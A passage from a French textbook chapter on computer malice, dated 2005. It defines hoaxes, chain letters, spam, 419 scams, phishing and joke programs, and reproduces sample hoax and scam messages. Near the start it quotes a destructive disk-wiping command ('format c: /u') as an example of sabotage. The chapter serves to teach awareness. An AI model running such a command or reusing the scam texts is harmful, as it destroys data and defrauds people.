• la désinformation est une technique de manipulation de l’information utiliséepour tromper ceux à qui est destinée la fausse information . Des personnes oudes sociétés sont nominativement mises en cause dans le but de leur nuire etde détériorer leur image de marque,

• le sabotage manuel concerne l’exécution malveillante de commandes condui-sant à la falsification de données ou la modification/destruction de procéduresd’exploitation ou de sauvegardes L’exécution volontaire de la commande :

format c: /u

PAGET_Ch01 Page 4 Lundi, 11. avril 2005 5:25 17

5

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

1.2 Les messages non sollicités (sans pièce jointe)

sur le poste d’un collègue de travail en est un exemple. Son but est le forma-tage du disque. Le commutateur /u efface toutes les données du disque, ce quirend leur récupération impossible par les outils standards de récupération.

Figure 1.2

— Classification des attaques logiques

1.2 LES MESSAGES NON SOLLICITÉS (SANS PIÈCE JOINTE)

Nous recevons tous de tels messages. Certains nous sont personnellement destinés :un ami, une connaissance, souhaite nous faire part d’une information qu’elle consi-dère sérieuse et digne de foi. D’autres sont liés à un multi postage excessif à destina-tion d’adresses collectées en parcourant les sites Web, les groupes de discussion oules listes de distribution. Ces messages n’ont généralement aucune pièce jointe. Ilsappartiennent à 5 grandes catégories :

• les rumeurs, en anglais

hoaxes

: informations malveillantes et non fondées quisont diffusées pour inquiéter les destinataires ou discréditer une personne ouun organisme,

• les lettres chaînes : messages s’appuyant sur la crédibilité des destinatairesfaisant appel à la piété, la générosité et/ou la superstition et proposant éven-tuellement un enrichissement personnel,

• les messages, souvent à caractère commercial, s’appuyant éventuellement surune usurpation d’adresse électronique. Ce sont ces courriers non sollicités quiprennent en anglais le nom de

spam

1

et que le public français a maintenantintégré dans son vocabulaire,

• les arnaques financières tel que le

scam africain

et les loteries : messages vousproposant un montage financier attractif ou, plus directement une importantesomme d’argent derrière lesquels se cache une escroquerie qui s’articule autourd’une demande d’avance de fond de la part de la victime,

1. Cette expression serait issue d’un sketch des

Monthy Python

dans lequel le mot spam (contrac-tion de

spice ham

– aliment, genre mortadelle, vendu en boite) est constamment répété afin depousser les auditeurs à en devenir consommateurs.

PAGET_Ch01 Page 5 Lundi, 11. avril 2005 5:25 17

6 Chapitre 1. Les multiples aspects de la malveillance

• Le

phishing

, opération malveillante d’escroquerie qui consiste à récupérer desdonnées personnelles et financières par le biais d’envoi massif d’emails nonsollicités.

Phishing

veut dire

fishing

(pêcher) écrit avec le

ph

comme dans lejargon pirate (

phreaking

).

1.2.1 Les rumeurs ou

hoaxes

Colporter des rumeurs est une occupation vieille comme le monde. Le site françaisde Hoaxbuster

1

se définit comme « la première ressource francophone sur les canu-lars du Web ». Il propose, en français, un inventaire régulièrement mis à jour detoutes ces rumeurs que nous allons maintenant détailler.

Tous ces messages renferment les mêmes ingrédients :

• l’existence d’un enjeu ou intérêt significatif,• le sensationnalisme. La rumeur est de nature à

appâter

les médias qui en sontavides (recherche de scoop), l’opinion publique qui y est sensible, ou unecommunauté Internet particulière. La présentation est

accrocheuse

,• l’accréditation par des relais connus et dignes de foi (CNN, Microsoft,

McAfee),• l’existence d’embryons de preuves pour que la rumeur ne soit pas rejetée

d’emblée mais, dans le doute, bien prise en compte,• l’incitation à la propagation.

Outre l’encombrement du réseau, ils représentent deux risques majeurs : la lassi-tude et la perversion.

Le terme anglophone de

hoax

leur est généralement attribué.

Les faux virus

Notre premier exemple de rumeur concerne le monde viral. Il s’agit de messagesvous alertant de l’arrivée imminente d’un nouveau virus hautement destructeur etpour lequel les anti-virus sont inefficaces. Ce ne sont pas des virus informatiques,mais plutôt une forme de

virus social

, ou encore de

virus mental

. La contagionconsiste a transmettre le message d’avertissement.

La multiplication de ces messages n’est pas sans danger. Elle peut, d’une part,favoriser l’indifférence face à une alerte réelle émise par un éditeur anti-virus. Ellepeut, d’autre part, séduire un auteur de virus qui sera tenté de se l’approprier en yadjoignant un virus bien réel. Ce cas s’est déjà produit plusieurs fois :

VBS/LoveLetter.AJ@MM

apparu en juin 2000 contenait un texte avec 3rumeurs différentes sur des faux virus,

VBS/Wobble@MM

(alias

LostSoul

) apparu en septembre 2000 affichait unmessage relatif à la rumeur du même nom (

Wobbler

).

1. http://www.hoaxbuster.com

PAGET_Ch01 Page 6 Lundi, 11. avril 2005 5:25 17

7

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

1.2 Les messages non sollicités (sans pièce jointe)

Figure 1.3

Exemple de rumeur liée à un faux virus

L’humour

Souvent liés à l’actualité et à la vie courante ou professionnelle, ces messages n’ontpas l’ambiguïté des précédents. Ils sont clairement reconnus comme humoristiquepar la personne qui les reçoit et les retransmet ensuite pour en faire profiter ses rela-tions.

Figure 1.4

Exemple de message humoristique

SECTOR ZEROA Virtual Card for You

Un nouveau virus vient d’être découvert et a été classifié par Microsoft (www.microsoft.com)et par McAfee (www.mcafee.com) comme étant le plus destructeur n’ayant jamais existé!.Ce virus a été découvert hier après-midi par McAfee et aucun vaccin n’a encore été déve-loppé.Ce virus détruit le Sector Zero de votre disque dur, là où les informations vitales au fonction-nement de votre système sont emmagasinées. Ce virus agi de la façon suivante : il envoie lui-même un message à toute votre liste de contact avec le titre "A Virtual Card for You " ou« Une carte virtuelle pour vous ».NE PAS OUVRIR AUCUN LIEN QUI PORTE CETTE MENTION.Aussitôt que la supposée carte virtuelle est ouverte, l’ordinateur gèle et l’utilisateur doit redé-marrer son système.Lorsque les touches ctrl+alt+del ou le bouton "reset" sont enfoncés, le virus détruit le SectorZero, votre disque dur sera alors détruit de façon permanente.S.V.P. distribuez ce message à plus de gens possible. Hier, en quelques heures seulement, levirus à causer la panique à New-York ; c’est ce qu’annonçait le canal nouvelles CNN(www.cnn.com).Cette alerte a été reçue par un employé de Microsoft lui-même.

ALERTE NOUVEAU VIRUS : JOSPIN.exeSi vous recevez un mail intitulé : « Avec Jospin tout ira bien » ou « Lionel Jospin l’avenir voussourit » : SURTOUT NE L’OUVREZ PAS ! Il s’agit d’un virus, le JOSPIN.exe, qui se répanddepuis 5 ans en France sous différentes formes : Aubry.exe (votre PC va planter en moins de 35h)Trotskyste.exe (votre imprimante n’imprime plus qu’en rouge)Rave.exe (Votre carte son n’est plus reconnue par le PC)Vaillant.exe (une photo d’Yvan Colonna remplacera votre fond d’écran)Fabius.exe (la capacité de votre mémoire vive est constamment revue à la baisse)Chevenement.exe (A chaque clic gauche, le message d’alerte « êtes vous sûr ? » s’affiche àl’écran)Ce virus est programmé pour devenir actif le 5 mai 2002 à 20h00. Presque la moitié desordinateurs français auraient été contaminés en moins de 5 ans. Heureusement une mobilisation spontanée des professionnels du Net, des jeunes et des jeu-nes actifs a permis de trouver la parade en mettant au point l’anti-virus le plus >efficace à cejour : l’esprit d’équipe. L’efficacité de cet anti-virus est proportionnelle au nombre d’internautes enregistrés surwww.lespritdequipe.com. En venant vous inscrire et en diffusant ce message d’alerte àl’ensemble de votre carnet d’adresses, vous éradiquerez le virus le plus austère que la Franceait connue.L’Esprit d’EquipeCellule Anti-Viruswww.lespritdequipe.com

PAGET_Ch01 Page 7 Lundi, 11. avril 2005 5:25 17

8 Chapitre 1. Les multiples aspects de la malveillance

Qu’ils soient liés aux faux virus ou à l’humour, si ces messages sont relayés àoutrance, ils risquent d’encombrer les réseaux.

1.2.2 Les lettres chaînes

Dans ma jeunesse, des lettres chaînes circulaient par la poste. Elles étaient souventconnues sous le nom de

chaîne de Saint Antoine

. Elles présentaient un texte de prièreà Saint-Antoine qu’il fallait transmettre à ses amis. Dans les pays anglo-saxons, ellesse sont aussi nommées

chaîne de Saint Jude

, en référence au patron des désespérés.

Le courrier électronique est mieux adapté à cette forme de propagation avecl’instantanéité des échanges, son faible coût et sa capacité d’expédition à des desti-nataires multiples.

L’expéditeur est souvent l’une de nos relations, proche ou lointaine, qui aretrouvé nos coordonnées dans son carnet d’adresses.

L’appel à la solidarité est le principal objet de ce type de message. Une situationdramatique vous est exposée. Le message vous encourage à le réexpédier car des four-nisseurs d’accès Internet sont censés les comptabiliser pour reverser une somme pro-portionnelle aux personnes en difficulté.

Figure 1.5

Exemple de fausse chaîne de solidarité

NE PAS DÉTRUIRE ET FAIRE SUIVRE SVP !!! SALUT TOUT LE MONDE> > > LISEZ CE MESSAGE ET ENVOYER-LE AU MAX DE PERSONNES POSSIBLE.> SI VOUS DETRUISEZ CECI, VOUS N’AVEZ PAS DE COEUR ! JE SUIS UN JEUNE PAPA> DE 29 ANS.> MA FEMME ET MOI AVONS EU UNE VIE MERVEILLEUSE ENSEMBLE. DIEU NOUS> A BENIAVEC UN ENFANT ET SON NOM EST RACHEL. AUJOURD’HUI, ELLE EST AGÉE> DE 10 ANS.> > > IL N’Y A PAS LONGTEMPS, LE DOCTEUR A DETECTE UN CANCER DU CERVEAU> DANS SON PETIT CORPS.> IL Y A SEULEMENT UNE SOLUTION POUR LA SAUVER : C’EST UNE OPÉRATION.> MALEUREUSEMENT, NOUS N’AVONS PAS ASSEZ D’ARGENT POUR PAYER LE PRIX.> AOL ET ZDNET ONT ACCEPTE DE NOUS AIDER.> LE SEUL MOYEN QU’ILS ONT DE NOUS AIDER EST LE SUIVANT :> JE VOUS ENVOIE CET EMAIL, ET VOUS L’ENVOYEZ A D’AUTRES> PERSONNES.> AOL VA SUIVRE CET EMAIL, ET COMPTERA COMBIEN DE PERSONNES L’ONT RECU.> CHAQUE PERSONNE QUI OUVRE CET E-MAIL ET QUI L’ENVOIE A AU MOINS 3> PERSONNES, NOUS DONNERA 32 CENTS.> S’IL VOUS PLAIT, AIDEZ-NOUS !!! MERCI.> KEVIN & MÉLANIE

PAGET_Ch01 Page 8 Lundi, 11. avril 2005 5:25 17

9

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

1.2 Les messages non sollicités (sans pièce jointe)

En 1997, Daniel Guinier, expert judiciaire près la Cour d’appel de Colmar, met-tait en garde le public contre certaines chaînes de solidarité

1

:

Évitons toute paranoïa mais, en rapport avec le texte suivant, posons-nous tout demême la question : Que peut donc rapporter l’envoi de simples cartes de visite ? Monsieur (ou madame)… Je reçois de monsieur (ou madame) … la requête suivante : … est un petit garçon (ou une petite fille), de 7 à 11 ans, actuellement malade ou souf-frant d’un cancer ou une leucémie en phase terminale. Un de ses souhaits serait d’êtreinscrit dans le Guiness Book des Records, avec le plus grand nombre de cartes de visitejamais rassemblées par une seule personne. Si vous voulez exaucer son souhait, faites-lui parvenir votre carte professionnelle àl’adresse suivante :… et faites suivre les pages de listes ci-jointes, y compris la vôtre, àdix autres personnes ou sociétés de votre connaissance. Je vous serais reconnaissant de ne pas briser cette chaîne de solidarité, etc. Si on peut noter que l’objet de la lettre est neutre, en apparence, puisqu’il n’est pasquestion d’argent, il fait tout de même référence à la qualification de la carte, dite :« professionnelle » ou « d’affaires ». En revanche, il y a fort à penser que certainessociétés seraient prêtes à payer cher pour disposer d’un fichier actualisé de profession-nels, plutôt à l’aise et à l’écoute des autres.

Ce type de demande n’est pas un cas isolé. Daniel Guinier cite trois exemples oul’appel pour participer à une telle chaîne a été présenté dans les mêmes termes :

…en 1993, en faveur d’un petit Américain leucémique de onze ans ; en 1994, pour unpetit Anglais de sept ans souffrant d’un cancer ; en 1997, à destination d’une petitePortugaise de sept ans dont les jours sont comptés.

Il semble bien que ce système de collecte fonctionne et c’est le caractère urgentde la demande qui hâte les réponses. Tous les moyens sont bons pour créer desfichiers d’adresses électroniques de personnes vulnérables qui pourront ensuite fairel’objet d’autres attaques ciblées.

Le mauvais sort, la chance ou la fortune peuvent aussi arriver dans votre boite àlettre. D’autres chaînes utilisent la crédibilité des gens face à l’approche de malheursannoncés ou de bonheurs futurs selon le renvoi ou non du message en quantité. Laaussi, la meilleure solution est la suppression immédiate du message.

1. Attention aux fausses chaînes de solidarité. Document disponible à l’adresse : http://www.afscv.org/misc/chaines.htm.

PAGET_Ch01 Page 9 Lundi, 11. avril 2005 5:25 17

10 Chapitre 1. Les multiples aspects de la malveillance

Figure 1.6

Exemple de chaîne « bonne fortune »

L’appât du gain est aussi un prétexte pour de propagation des chaînes. Il y a cellesqui reprennent les concepts développés dans les appels à la solidarité en vous pro-mettant d’être le bénéficiaire d’une partie des sommes promises.

D’autres vous présentent des offres promotionnelles alléchantes avec, à la clé, deslogiciels ou des équipements gratuits dans la mesure ou vous participez à la diffusionde l’information.

Voeux de bonne année 2000 de la part du Dalai Lama Vous trouverez qu’ils valent la peined’être lus et partagés :Ne conservez pas ce message. Ce mantra doit quitter vos mains dans les 96 heures. Vousaurez une surprise trés agréable. Ceci est véridique, même si vous n’êtes pas superstitieux.I N S T R U C T I O N S P O U R M E N E R V O T R E V IE1. Tenez compte du fait que le grand amour et les grandes réussites impliquent de grandsrisques.2. Lorsque vous perdez, ne perdez pas la leçon.3. Suivez les trois R : Respect de soi-même Respect des autres et Responsabilité de tous vosactes.4. Souvenez-vous que ne pas obtenir ce que vous voulez est parfois un merveilleux coup dechance.5. Apprenez les règles pour savoir comment les transgresser correctement.6. Ne laissez pas une petite dispute meurtrir une grande amitié.7. Lorsque vous réalisez que vous avez commis une erreur, prenez immédiatement desmesures pour la corriger.8. Passez un peu de temps seul chaque jour.9. Ouvrez vos bras au changement, mais ne laissez pas s’envoler vos valeurs.10. Rappelez-vous que le silence est parfois la meilleure des réponses.11. Vivez votre vie d’une façon bonne et honorable. Ainsi, lorsque vous vieillirez et que vousregarderez en arrière, vous en profiterez une deuxième fois.12. Un foyer aimant est la fondation de votre vie.13. Dans les désaccords que vous avez avez ceux que vous aimez, ne vous occupez que dela situation actuelle. Ne réveillez pas le passé.14. Partagez votre savoir. C’est une manière d’atteindre l’immortalité.15. Soyez tendre avec la Terre.16. Une fois par an, allez quelque part où vous n’êtes jamais allé auparavant.17. Souvenez-vous que la meilleure des relations est celle dans laquelle l’amour que chacunporte à l’autre dépasse le besoin que vous avez de l’autre.18. Jugez vos succès d’après ce que vous avez dù sacrifier pour les obtenir.19. Approchez l’amour et la cuisine avec un abandon insouciant.TRANSMETTEZ CE COURRIEL MANTRA A AU MOINS 5 PERSONNES ET VOTRE VIES’AMELIORERA.0-4 personnes :Votre vie s’amèliorera légèrement.5-9 personnes : Votre vie s’améliorera selon vos désirs.9-14 personnes :Vous aurez au moins 5 surprises dans les 3 prochaines semaines.15 personnes et plus : Votre vie s’améliorera de façon drastique et tout ce que vous avez purêver commencera à prendre forme.Je sais aussi que les rêves se réalisent vraiment, et je vous assure de mes meilleurs voeux etde mes plus grand efforts en ce sens.Salutations,Dalaï Lama

PAGET_Ch01 Page 10 Lundi, 11. avril 2005 5:25 17

11

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

1.2 Les messages non sollicités (sans pièce jointe)

En 2000, Ericsson et Nokia en on fait les frais. Le site Hoaxbuster diffuse leursdémentis qui n’ont jamais su totalement stopper la diffusion

1

.

Citons enfin dans cette catégorie, les pétitions qui ne contiennent aucuneadresse centralisant la collecte mais demandent simplement la signature d’un e-mailpuis la redistribution vers ses connaissances. Du fait de ce concept, elles n’arriverontjamais sur les bureaux des personnes qui pourraient être concernées.

1.2.3 Le spamming

La Commission Nationale de l’Informatique et des Libertés (CNIL) donne du spamla définition suivante : il s’agit de l’envoi massif et parfois répété de courriers électro-niques non sollicités à des personnes avec lesquelles l’expéditeur n’a jamais eu decontact, et dont il a capté l’adresse électronique de façon irrégulière.

Nous savons tous qu’il est extrêmement facile et peu coûteux d’atteindre des cen-taines d’individus au travers du courrier électronique. Cela n’a pas échappé auxpublicitaires et à divers individus peu recommandables qui se cachent souvent der-rière une adresse falsifiée pour inonder nos boites aux lettres. L’expéditeur ne con-naît pas les destinataires, il ne cible ni ses relations personnelles, ni ses relationsprofessionnelles. Les adresses ont été collectées à grande échelle. On retrouve prin-cipalement dans ces courriers :

• des messages à caractère commercial,• des incitations à la visite de site Web,• des incitations à la prise de contact (pornographie).

Outre le désagrément induit, ces messages provoquent un encombrement de labande passante et une saturation de nos boites de réception qui, en situationextrême, risquent de bloquer l’arrivée de messages valides. Rentable pour les

spam-meurs

, qui y voient une façon peu coûteuse de prospecter massivement de nouveauxclients, cette pratique a un coût pour les internautes, les entreprises et les fournis-seurs d’accès à Internet : coûts de connexion, de stockage des messages mais aussitemps passé à trier, filtrer, ou gérer les problèmes techniques engendrés.

En juillet 2002, la CNIL ouvrit une boite à lettre électronique permettant auxinternautes s’en estimant victimes de lui transférer les messages non sollicités qu’ilsrecevaient. Il s’agissait d’évaluer plus précisément l’ampleur de phénomène et deproposer des solutions tant techniques que juridiques :

• Plus de 320 000 messages furent reçus en 3 mois de fonctionnement.• 85 % des spams étaient rédigés en langue anglaise.• 8 % étaient d’origine asiatique.• 7 % étaient rédigés en langue française, la proportion des autres langues étant

négligeable.

1. Désinformation – Ericsson offre ses portables : http://www.hoaxbuster.com/hoaxliste/hoax.php?idArticle=1058.

PAGET_Ch01 Page 11 Lundi, 11. avril 2005 5:25 17

12 Chapitre 1. Les multiples aspects de la malveillance

• Les particuliers semblaient plus particulièrement visés par les contenus. 85 %d’entre eux proposaient des produits ou des services susceptibles de les intéres-ser tandis que les 15 % restant visaient les besoins d’entreprises.

• Les messages de langue anglaise autres que pornographiques (42 %) concer-naient principalement les secteurs de la santé (13 %) et des produits finan-ciers (39 %) alors que ceux rédigés en français, à l’exception des offres deservices à caractère pornographique (55 %), étaient moins spécialisés enraison notamment de notre encadrement législatif et réglementaire plus strictet de nos habitudes de consommation différentes.

• La pratique du spam semblait essentiellement le fait de petites entreprisesutilisant le réseau Internet comme vecteur privilégié de communicationcommerciale.

Dans un communiqué de presse de février 2004, l’entreprise

Postini

indiquait queles courriels indésirables concernaient approximativement 79 % de tous les courrielsanalysés

1

. Les statistiques en ligne que l’entreprise diffuse de manière continue nemontrent aucune diminution

2

.

Figure 1.7

Statistiques

Postini

– 7 septembre 2004

La France n’est pas épargnée, le groupe français

Secuserve

présente sur son site lesrapports de répartition des menaces constatées en France. Ils concernent plusieurscentaines de noms de domaines de clients français, toute taille, et tout secteur d’acti-vité. Moins pessimiste, il annonce néanmoins plus de 50 % de spam

3

.

1.

Despite new spam law, Postini reports junk e-mail still piling up

, communiqué disponible àl’adresse : http://www.postini.com/press/pr/pr020404.html.2. Postini Resource Center – E-mail Stats : http://www.postini.com/stats/.3.

SecuServe – Sécurité Internet :

http://www.secuserve.com.

PAGET_Ch01 Page 12 Lundi, 11. avril 2005 5:25 17

13

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

1.2 Les messages non sollicités (sans pièce jointe)

Figure 1.8

Statistiques

SecuServe

– 7 septembre 2004

Le phénomène est devenu si important qu’il a amené le gouvernement français àlancer un groupe de concertation et d’action contre le spam. Il a été installé le16 janvier 2004 et est animé par la Direction du Développement des Médias(

DDM

)1. Selon le communiqué de presse officiel, son objectif est de favoriser la con-certation entre les acteurs publics et privés de la lutte contre le spam, et la coordina-tion de leurs actions, en France comme à l’international, dans un esprit deresponsabilité.

Les techniques d’envoi massif de courrier non sollicité évoluent au fil des ans. Laplupart des procédés utilisés par les spammeurs sont, dans un premier temps, restésconventionnels et imparfaits dans leurs concepts :

• Utilisation de comptes temporaires. Ils sont ouverts chez des fournisseurs deservice Internet. Mis en service – par exemple – un vendredi, ils peuventpermettre pendant un cours laps de temps des envois massifs. Le week-endpassé, et lorsque les plaintes s’accumulent, le compte est fermé. Cette pratiquen’est pas sans risque pour son auteur : pour ouvrir le compte, il faut souventlaisser une adresse et un numéro de carte de crédit valable.

• Utilisation de relais de messagerie ouverts (serveurs relais SMTP ouverts).Ces serveurs sont capables d’envoyer des messages en provenance d’expédi-teurs inconnus vers des destinataires qui n’appartiennent pas à leur domaine.Ces machines sont connues ou très vite repérées ; il existe des bases dedonnées accessibles par interrogation DNS (exemple : Mail Abuse PreventionSystem, LLC2). Cette seconde pratique est contrée par l’utilisation de listesnoires (blacklists). Celles-ci empêchent la réception de tout mail en prove-nance de ces serveurs non sécurisés, non fiables et dangereux.

1. Direction du Développement des Médias, Dossier Thématique Spam :http://www.ddm.gouv.fr/dossiers_thematiques/documents/spam00.html.2. MAPS – Mail Abuse Prevention System, LLC : http://www.mail-abuse.com/.

PAGET_Ch01 Page 13 Lundi, 11. avril 2005 5:25 17

14 Chapitre 1. Les multiples aspects de la malveillance

• Utilisation de serveurs mandataires non sécurisés (proxy server HTTP/SOCKS). Grâce au protocole SOCKS, l’utilisateur peut se connecter à Inter-net sans être vu et tout en étant protégé de l’extérieur. Le trafic se fait par lebiais de ports connus mais non sécurisés. Cette dernière solution a aussi sesinconvénients : la simple fermeture du port stoppe toute possibilité de trafic etles proxysocks ont tendance à apparaître et disparaître assez rapidement.

Depuis le milieu de l’année 2003, une technique plus sophistiquée voie le jour.Pour palier aux inconvénients listés ci dessus, le virus vient maintenant en aide auxspammeurs. Il installe sur les machines qu’il infecte de mini serveurs mandatairespirates. Les postes des internautes imprudents deviennent ainsi des relais de distribu-tion. Les virus de la famille W32/Sobig@MM ont été des précurseurs dans cedomaine.

1.2.4 Le scam africain

Cet aspect de la malveillance informatique n’est pas précisément à classer dans lafamille des rumeurs ou du courrier non sollicité. Il tient directement de la fraudefinancière.

Le courrier électronique en question prétend provenir du fils d’un haut fonction-naire, du frère d’un industriel ou encore de la femme d’un ex-chef d’état africain. Ilvous explique qu’une importante somme d’argent est bloquée quelque part. Avecvotre aide, et en utilisant votre surface financière pour le transfert de fond, votrecontact vous explique qu’il serait possible de débloquer ces sommes, et une récom-pense substantielle vous est proposée si vous acceptez ce contrat.

Si, vous répondez à ces mails, votre correspondant vous demandera sans douted’ouvrir un compte sur une banque africaine en y versant des liquidités pour payerdes taxes, des frais d’avocats ou encore des bakchichs qui pourront aider au bondéroulement de l’affaire. Il vous interrogera également sur votre environnementfinancier en vous en demandant les détails. Il est donc important de ne jamaisrépondre à ce type de message.

Cette arnaque intitulée Fraude pour Paiement d’honoraires anticipés est aussi con-nue comme fraude 419 (numéro de la section du code criminel du Nigeria qui couvrece type de problèmes). Dans les années 80, elle circulait par courrier postal ou télé-copie. Apparue au Nigeria, son succès a vite franchi les frontières de l’Afrique et dela toile mondiale.

De nombreuses informations à ce sujet sont disponible sur Internet1. En France,la 9ème division de la Direction Centrale de la Police Judiciaire (DCPJ) s’attache à larépression de telles infractions2.

1. Nigeria – The 419 Coalition Website : http://home.rica.net/alphae/419coal/.2. La police nationale – Les escroqueries internationales :http://www.interieur.gouv.fr/rubriques/c/c3_police_nationale/c332_dcpj/Les_escroqueries_internationales.

PAGET_Ch01 Page 14 Lundi, 11. avril 2005 5:25 17

15©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.2 Les messages non sollicités (sans pièce jointe)

Ces messages sont généralement en anglais, il est plus rare de les rencontrer enfrançais. Dans le document ci-dessous, j’ai volontairement tronqué le numéro detéléphone et l’adresse e-mail de l’expéditeur.

Figure 1.9 — Exemple de « scam africain » en version française

1.2.5 Le phishing

Il s’agit d’obtenir des données sensibles afin de commettre des impostures à l’identitéet des escroqueries financières. Comme l’a expliqué Danielle Kaminsky lors du Pano-rama de la cybercriminalité 20031, le phishing joue sur l’illusion et les apparences.L’imposture débute souvent par la réception d’un courrier non sollicité, l’escroc laréalise en 3 étapes :

• Il se fait passer pour qui il n’est pas (une entreprise connue) pour solliciter lesdonnées convoitées auprès des internautes.

• Il présente des contenus fallacieux qui font illusion (motifs évoqués, fauxliens, fausses pages web, etc.).

From: Junior Sankoh [[email protected]]Sent: Friday, January 23, 2004 8:41 PMTo: [email protected]: [spam] Investment AssistanceBonjour,Cette proposition peut vous paraître étrange. Veuillez comprendre que c’est la situation queje traverse actuellement qui m’a poussé à contacter une personne totalement étrangère(vous).Permettez-moi de me présenter ; Je suis citoyen de la Sierra Léone, mon nom est JuniorFoday SANKOH.Je viens d’hériter d’une somme importante d’argent et je ne m’y connais pas en transfertinternational ni en placement. J’ai donc besoin de vous pour m’aider à transférer et à gérercette fortune.Mon défunt père Foday Sabanah Sankoh fut chef des rebelles du (R. U. F.), il contrôlait toutela zone diamantifère de la Sierra Léone. Avant sa mort le 29 Juillet dernier, il fut arrêté, empri-sonné et condamné par le gouvernement de mon pays.Mon père a eu l’idée ingénieuse de déposer en mon nom dans une société de sécurité et degardiennage en République du Bénin ( Afrique de l’Ouest ) la somme d’argent de 50 millionsde dollar américain. Le dépôt a été fait depuis 4 ans. Tous les documents originaux concer-nant ce dépôt sont en ma possession en tant qu’héritier légitime. Je voudrais que vousm’apportiez l’assistance nécessaire pour pouvoir récupérer ce fond et le transférer hors d’Afri-que.J’attends impatiemment votre réponse et vous suggère de m’appeler sur mon téléphonedirect pour plus d’explications.Mes salutations.Junior. Foday SANKOH.Tel : 00229 90 xx xxemail : [email protected]

1. CLUSIF – Panorama de la cybercriminalité – année 2003 : https://www.clusif.asso.fr/fr/production/ouvrages/pdf/PanoCrim2k3-fr.pdf.

PAGET_Ch01 Page 15 Lundi, 11. avril 2005 5:25 17

16 Chapitre 1. Les multiples aspects de la malveillance

• Une fois les données convoitées recueillies, il se fait passer pour qui il n’est pas(les internautes escroqués) afin de se procurer des services ou des biens(argents, marchandises, papiers d’identité et autres documents administratifs).

Des courriels s’annonçant en provenance d’eBay (site d’acheteurs et de vendeurssur Internet), circulent en avisant les personnes que leur compte semble avoir étépiraté.

Figure 1.10 — Exemple de phishing

Les utilisateurs du site sont invités à suivre le lien dans le message s’ils ne veulentpas que leur compte soit suspendu. Ils sont alors re-dirigés vers une page web, miroirdu site officiel. Cette page demande tout d’abord le pseudo et le mot de passe. Unefois ceux ci renseignés, un long questionnaire est proposé et de nombreuses donnéesprivées sont demandées. La capture d’écran suivante n’en est qu’une petite partie.

PAGET_Ch01 Page 16 Lundi, 11. avril 2005 5:25 17

17©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.3 Les messages non sollicités (avec pièce jointe)

Figure 1.11 — Exemple de phishing (suite)

1.3 LES MESSAGES NON SOLLICITÉS (AVEC PIÈCE JOINTE)

Les mails indésirables ne représentent qu’une gène pour les utilisateurs. De faibledimension, ils peuvent néanmoins encombrer les réseaux et ralentir les traitements.De tailles plus conséquentes, des programmes humoristiques ou des fichiers censéscontenir des informations sensationnelles ou simplement savoureuses peuvent grave-ment perturber les serveurs de messagerie. Plus ils seront relayés, plus les réseauxseront encombrés, voire bloqués.

En 1999, à l’époque du Monicagate,de nombreux documents reprenaient les actesdu procès détaillant la nature de la relation inconvenante entre Bill Clinton et MonicaLewinsky. D’une taille supérieure à un méga-octet, l’un de ces fichiers était diffusésans retenue. Générant un effet boule de neige, plusieurs serveurs de messageried’entreprises de renom ne purent supporter la surcharge de trafic induite et finirentpar cesser de fonctionner.

PAGET_Ch01 Page 17 Lundi, 11. avril 2005 5:25 17

18 Chapitre 1. Les multiples aspects de la malveillance

1.4 FARCES ET CANULARS

Comme leur nom l’indique, les canulars ou les farces (jokes en anglais) sont conçuspour faire rire. Ils ne se reproduisent pas et ne sont donc pas des virus. Ils n’ontaucune activité destructrice.

La plupart des programmes de ce type sont de taille réduite. Citons par exemplefrogbender.exe qui imagine le comportement d’une grenouille dans un mixer en fonc-tion de sa vitesse de rotation – réglage de 1 à 10.

Figure 1.12 — Frogbender : un programme inoffensif mais parfois encombrant

Certains canulars sont cependant difficiles à désactiver, ils n’hésitent pas à modi-fier la configuration de l’ordinateur pour réapparaître régulièrement. La limite entrefarce et programme indésirable ou malveillant est donc étroite. Lorsqu’il peut s’avé-rer perturbateur, le canular est généralement détecté par l’anti-virus. Il faudra néan-moins parfois activer certaines options particulières de recherche.

Les principaux effets des canulars sont :

• affichage d’un message, une image ou une animation (BlueSprite joke),• manipulation du lecteur de CD-ROM (CokeGift joke),• simulation de l’effacement de fichiers ou du formatage du disque (Fake-Format

joke),• perturbation d’affichage (Flipped joke, IconDance joke, Slider joke),• perturbation du fonctionnement de la souris ou du clavier (MouseShoot joke),• usurpation d’identité sur un programme valide (Habar joke),• ouverture intempestive de fenêtres (LikeWind joke).

PAGET_Ch01 Page 18 Lundi, 11. avril 2005 5:25 17

19©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

Figure 1.13 — Le puzzle proposé par le canular Slider Joke doit êtrerésolu avant de pouvoir reprendre son travail

1.5 LES INFECTIONS INFORMATIQUES

Les infections informatiques sont de deux ordres. Nous sommes ici face à desprogrammes malveillants. On différencie :

• les programmes simples,• les programmes auto reproducteurs.

1.5.1 Les programmes simples

Un programme simple contient une fonctionnalité malveillante qui est appelée à sedéclencher à un instant donné et sur un critère donné. Il n’y a pas propagation.

Le programme doit être introduit (volontairement ou non) dans l’ordinateurciblé. Même si un virus peut le véhiculer, l’utilisateur peut être amené à l’introduiresur sa machine en croyant installer un programme banal.

Lorsque qu’il s’exécute, la fonctionnalité malveillante (en anglais, payload)s’active. Une action destructive, pénalisante, ou simplement perturbatrice est alors

PAGET_Ch01 Page 19 Lundi, 11. avril 2005 5:25 17

20 Chapitre 1. Les multiples aspects de la malveillance

mise en œuvre. Selon son but, elle sera visible ou non par l’utilisateur. La premièreexécution du programme s’accompagne souvent d’une modification du système quipermet ensuite une réactivation automatique à chaque mise en route de la machine.Dans d’autres cas, le programme se termine une fois son but atteint.

On retrouve dans cette catégorie des programmes commerciaux indésirables dontl’usage a été détourné, des bombes logiques, des chevaux de Troie et des portes déro-bées. Il existe aussi des outils de capture d’information, d’attaque réseau et d’appro-priation de ressource.

Les anti-virus n’établissent généralement pas de distinction et tous ces program-mes simples ; ils sont détectés en tant que Trojans.

Programmes commerciaux indésirables

